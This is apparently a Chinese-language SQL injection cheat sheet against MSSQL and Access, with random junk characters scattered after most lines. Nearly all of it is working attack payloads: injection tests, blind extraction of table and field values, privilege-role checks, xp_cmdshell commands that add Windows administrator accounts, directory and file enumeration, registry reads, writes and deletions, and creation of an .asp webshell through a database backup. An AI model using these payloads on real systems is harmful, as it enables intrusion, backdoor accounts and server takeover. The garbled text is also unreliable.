1.判断是否有注入;and 1=1 ;and 1=2 7!oqn'#>A
2.初步判断是否是mssql ;and user>0 M=o,Sav5*
1a4QWGpq
3.注入参数是字符'and [查询条件] and ''=' +@%9pbM"z
V.Xz
n
4.搜索时没过滤参数的'and [查询条件] and '%25'=' ~JLqx/[|s
v_c'npC
5.判断数据库系统 ![abDT5![
{, APZ`q|
;and (select count(*) from sysobjects)>0 mssql J-?\,N1R7
N>ct`a)BD/
;and (select count(*) from msysobjects)>0 access w,3`Xq@
!kASEjFz|f
^#3$C?d
YXIDqTA+
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ^ ?tAt3dMI
).oqlA!
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
XN=<s;U
5\=9&{WjND
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ts?b[v
,C&h~uRi#f
9.(1)猜字段的ascii值(access) 6^{ hY^Z
}%k"qW<Y
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 <u2*(BM4
fy_'K}i3k
(2)猜字段的ascii值(mssql) #Z$6>
Xt
#(aROTV5a
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 p6Z]oL q
i $I|JJJ
10.测试权限结构(mssql) /=e[(5X|O
sWavxh8A
q`$QroZT"
MqoQs{x
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- E=QL4*?
m\Tq0cT$
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- $d8A_CUU
-'}iK6
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ['s_qCA[
mH{cGu?
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- >P0AGZ
]NFDE-Jz]
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
Gzp)OHgJ
Plq[Ml9
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- y'@l,MN{
-|)[s[T~m
;and 1=(select IS_MEMBER('db_owner'));-- (6h7 'r $
,s)~Y
p?<
bLV@Ts
4uftx1o
11.添加mssql和系统的帐户 'E&K%/d
~:t2@z4p
;exec master.dbo.sp_addlogin username;-- p\-.DRwT`
;exec master.dbo.sp_password null,username,password;-- v$tS2N2
cF(9[8c{
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- :X4\4B*~
M9&tys[ KX
;exec master.dbo.xp_cmdshell 'net user username password 8dA/dMQ
$s]@%6f
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- 8V|-BP5^
zfo.S[R@
;exec master.dbo.xp_cmdshell 'net user username password /add';-- _-!6@^+
>8JvnBFx=
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- Bp/8 >EO`
GzB%vsv95
2~`dV_
,o}[q92@w
12.(1)遍历目录 ^_=0.:QaW
GUp51*#XR
;create table dirs(paths varchar(100), id int) ;XtDz
]cA~%$c89s
;insert dirs exec master.dbo.xp_dirtree 'c:\' I9Sh~vTm=u
~o2{Wn["
;and (select top 1 paths from dirs)>0 % qE#^ U
=0f8W=d:Vr
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) {a_L
/"7
-{7N]q)}
?Jr<gn^D
/N^+a-.Qd
(2)遍历目录 u?J(l)gd
g8x8u|
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- \) #3S $L~
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 &qpA<F@7
*
;M?R?+
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 )xK!i.
b,`\"'1
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 nWl0R=
mPD'"
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 uf>w* [m5
@'rO=(-b
Ucy9fM
;C{_T:LS
13.mssql中的存储过程 '9[_w$~(
y]+A7|
xp_regenumvalues 注册表根键, 子键 GbE3:;JI
.Lp-'!i
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 e=R}
4`
dog,vUu
xp_regread 根键,子键,键值名 <5#e.w
:_H88/?RR
;exec xp_regread *&PgDAQ
UetmO`qju
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 zSH#j RDV
kj#yG"3+
xp_regwrite 根键,子键, 值名, 值类型, 值 Lf:Z
(Z>
b7,qzh
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 >@%!r
x('yBf
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 l^"G \ZVI
8(I"C$D!k
xp_regdeletevalue 根键,子键,值名 z? aDOh
eo8 0L
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 (BGipX4
Xo5L:(?K
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 i,HAXPi
aF=VJ+5
o MAK[$k;
=ht@7z8QM
14.mssql的backup创建webshell EAkP[au.
#n7{ 3)
use model \[&]kPcDl
')aYkO{%sb
create table cmd(str image); ?`XKaD!
f
DXGO-]!!0
insert into cmd(str) values (''); y*D 8XI$
s^
a`=kO
backup database model to disk='c:\l.asp'; b1OB'P8
DNy)\+[
# 9t/j`{
@e7+d@O<
15.mssql内置函数 3IkG*enI
vKt_z@{{L
;and (select @@version)>0 获得Windows的版本号 ;4bu=<%
8dH|s#.4um
;and user_name()='dbo' 判断当前系统的连接用户是不是sa E$wB bm
h CiblM
;and (select user_name())>0 爆当前系统的连接用户 \2`U$3Q
u&Fm}/x
;and (select db_name())>0 得到当前连接的数据库 lrzW H0Q
3{l"E(qqZ
0{yx*}.
^PI49iB
16.简洁的webshell 9s)oC$\
^:j$p,0e*S
use model %([c4el>\F
|(<L!6
create table cmd(str image); WToAT;d2h
]*|K8&jxl
insert into cmd(str) values (''); ||4Dtg
K
h]#)41y<
backup database model to disk='g:\wwwtest\l.asp';